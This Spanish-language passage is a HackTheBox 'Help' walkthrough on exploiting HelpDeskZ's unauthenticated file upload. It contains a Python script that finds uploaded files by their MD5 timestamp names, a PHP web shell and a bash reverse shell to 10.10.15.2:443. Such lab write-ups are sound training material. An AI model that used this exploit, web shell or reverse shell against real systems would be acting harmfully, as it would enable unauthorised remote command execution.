> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/helpdeskz.md).
# HelpDeskZ
Explotación de HelpDeskZ desde la máquina Help HackTheBox.
## Carga de archivos de HelpDeskZ
El `/support` La aplicación en la máquina Help utiliza la plataforma de mesa de ayuda HelpDeskZ.
Busca exploits públicos de HelpDeskZ. Una vulnerabilidad de carga arbitraria de archivos funciona sin autenticación.
{% code overflow="wrap" %}
```bash
searchsploit helpdeskz
```
{% endcode %}
El exploit calcula la ruta de carga a partir del nombre del archivo y la marca de tiempo de la carga.
{% code overflow="wrap" %}
```python
import sys
import requests
import hashlib
from time import time
def md5(data):
return hashlib.md5(data).hexdigest()
def get(base, filename, at):
uploaded_file = "{}/uploads/tickets/{}.{}".format(
base.rstrip("/"), md5(filename + str(at)), filename.split(".")[-1]
)
r = requests.get(uploaded_file)
if r.status_code == 200:
return uploaded_file
def main(argv):
if len(sys.argv) < 3:
print("USAGE: {} HELPDESKZ_URL FILENAME".format(argv[0]))
return
for i in range(1000):
url = get(argv[1], argv[2], int(time() - i))
if url is not None:
print(url)
return
print("Oops ... not found")
if __name__ == "__main__":
main(sys.argv)
```
{% endcode %}
Ejecuta el exploit contra la instancia de HelpDeskZ.
{% code overflow="wrap" %}
```bash
python2 exploit.py http://help.htb/support/ cmd.php
```
{% endcode %}
Sube una web shell PHP mínima como `cmd.php`.
{% code overflow="wrap" %}
```php
" . shell_exec($_GET['cmd']) . "";
?>
```
{% endcode %}
El exploit devuelve la ruta del archivo subido.
* [Web shell subida](http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php)
Confirma la ejecución remota de comandos.
{% code overflow="wrap" %}
```bash
http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php?cmd=id
```
{% endcode %}
Lee la flag del usuario.
{% code overflow="wrap" %}
```bash
?cmd=cat /home/help/user.txt
```
{% endcode %}
Inicia un listener para una reverse shell.
{% code overflow="wrap" %}
```bash
nc -nvlp 443
```
{% endcode %}
Ejecuta el siguiente comando a través del web shell.
{% code overflow="wrap" %}
```bash
bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261"
```
{% endcode %}
---
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